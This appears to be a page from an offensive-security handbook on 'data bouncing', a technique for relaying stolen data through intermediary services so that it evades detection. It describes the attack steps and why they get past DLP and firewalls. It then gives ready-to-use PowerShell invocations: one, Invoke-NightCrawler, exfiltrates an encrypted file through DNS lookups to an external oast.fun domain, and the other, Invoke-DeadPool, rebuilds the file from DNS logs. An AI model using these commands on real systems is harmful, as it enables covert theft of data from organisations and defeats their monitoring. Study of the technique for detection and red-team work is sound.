Data Bouncing - External Data Exfiltration

Introduction

Data bouncing is a sophisticated data exfiltration technique where an attacker routes stolen data through multiple intermediary systems before reaching the final destination. This method makes it difficult to trace the data's origin, detect unauthorized transfers, and prevent forensic investigations.

How It Works

  • Compromise an Internal System

    • The attacker gains access to a target system via phishing, malware, or exploiting a vulnerability.

  • Identify External Intermediary Systems (Bouncing Points)

    • These are typically compromised servers, cloud services, or even legitimate third-party services (like file-sharing platforms, webhooks, or messaging APIs).

    • Common bouncing points:

      • Compromised cloud storage (Google Drive, Dropbox, AWS S3)

      • Public forums, blogs, or Pastebin

      • Compromised IoT devices or routers

      • Decentralized networks (Tor, I2P, blockchain transactions)

  • Exfiltrate Data Through Multiple Hops

    • Instead of sending data directly to the attacker's machine, it is first stored or relayed through one or more bouncing points.

    • Example techniques:

      • Encrypt and upload the data to Google Drive, then download it from a different location.

      • Encode data in DNS queries or HTTP requests routed via a proxy.

      • Use social media posts, QR codes, or image steganography to hide data.

  • Retrieve Data Without Raising Alarms

    • The attacker retrieves the data from the bouncing point at a later time, making it difficult to detect real-time exfiltration.

Why Attackers Use This?

  • Avoid Detection:

    • Direct data transfers to suspicious IPs trigger security alerts.

    • Bouncing makes it look like normal traffic.

  • Bypass Security Controls:

    • Firewalls and DLP (Data Loss Prevention) tools may allow uploads to trusted cloud services.

  • Anonymity & Attribution Confusion:

    • Investigators may track the exfiltrated data only to an intermediate system, not the attacker's true identity.


Practical

Tools

The project comes with two main scripts:

  • nightCrawler.ps1: Handles data exfiltration.

  • deadPool.ps1: Reassembles the exfiltrated data from DNS logs.

Data Exfiltration - nightCrawler.ps1

Invoke-NightCrawler -Identifier "testid" -Domain "cv8erb8gdmbc73c0ns00o1dra4c8ibd4r.oast.fun" -Urls "adobe.com","github.com" -FilePath "C:\Path\to\file.txt" -EncryptionEnabled -EncryptionKey "YourSecretKey"

Data Reconstruction - deadPool.ps1

Invoke-DeadPool -LogFile "C:\Path\to\logs.txt" -Identifier "testid" -EncryptionEnabled -EncryptionKey "YourSecretKey" -OutputFile "C:\Path\to\ReconstructedFile.txt"

REFERENCES

Last updated

Was this helpful?